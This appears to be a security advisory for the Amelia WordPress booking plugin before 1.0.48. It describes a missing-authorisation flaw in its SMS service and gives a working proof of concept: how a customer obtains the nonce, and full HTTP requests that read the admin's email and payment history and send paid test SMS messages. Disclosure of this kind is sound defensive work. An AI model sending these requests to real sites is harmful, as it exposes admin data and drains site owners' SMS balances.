The plugin does not have proper authorisation when handling Amelia SMS service, allowing any customer to send paid test SMS notification as well as retrieve sensitive information about the admin, such as the email, account balance and payment history. A malicious actor can abuse this vulnerability to drain out the account balance by keep sending SMS notification.
To get the ameliaNonce, view the source code of the Amelia dashboard when logged in as a customer and look for “wpAmeliaNonce” ## Get User Info POST /wp-admin/admin-ajax.php?action=wpamelia_api&call;=/notifications/sms&ameliaNonce;=785ba17145 HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Cookie: [customer+] Content-Type: application/json;charset=utf-8 Content-Length: 24 {“action”:“getUserInfo”} Response: {“message”:“Amelia SMS API request successful”,“data”:{“status”:“OK”,“user”:{“email":"[email protected]”,“balance”:0}}} ## Get Payment History POST /wp-admin/admin-ajax.php?action=wpamelia_api&call;=/notifications/sms&ameliaNonce;=785ba17145 HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Cookie: [customer+] Content-Type: application/json;charset=utf-8 Content-Length: 30 {“action”:“getPaymentHistory”} Response: {“message”:“Amelia SMS API request successful”,“data”:{“status”:“OK”,“payments”:[],“countFiltered”:0}} ## Send test notification (cost real money) POST /wp-admin/admin-ajax.php?action=wpamelia_api&call;=/notifications/sms&ameliaNonce;=785ba17145 HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Cookie: [customer+] Content-Type: application/json;charset=utf-8 Content-Length: 146 { “action”:“testNotification”, “data”:{ “type”: “appointment”, “notificationTemplate”: 1, “recipientPhone”:“11111111” } }
CPE | Name | Operator | Version |
---|---|---|---|
ameliabooking | lt | 1.0.48 |